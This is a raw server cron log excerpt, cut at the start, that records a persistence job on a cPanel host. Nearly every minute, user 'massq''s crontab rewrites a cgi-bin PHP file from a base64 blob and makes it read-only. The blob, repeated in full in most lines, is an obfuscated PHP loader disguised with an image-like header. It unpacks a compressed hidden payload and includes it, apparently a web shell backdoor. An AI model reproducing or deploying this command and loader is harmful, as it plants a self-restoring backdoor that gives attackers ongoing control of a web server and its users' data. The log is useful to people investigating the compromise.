&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:49:01 server CROND[16796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:50:01 server CROND[17075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 06:50:01 server CROND[17079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:50:01 server CROND[17081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:50:01 server CROND[17078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:50:01 server CROND[17080]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 06:51:01 server CROND[17393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:52:01 server CROND[17715]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:53:01 server CROND[17968]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:54:01 server CROND[18321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:55:01 server CROND[18639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 06:55:01 server CROND[18640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 06:55:01 server CROND[18641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:56:01 server CROND[18943]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:57:01 server CROND[19214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:57:01 server CROND[19215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 06:58:01 server CROND[19489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 06:59:01 server CROND[19849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:00:01 server CROND[20134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 07:00:01 server CROND[20135]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 07:00:01 server CROND[20137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 07:00:01 server CROND[20136]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
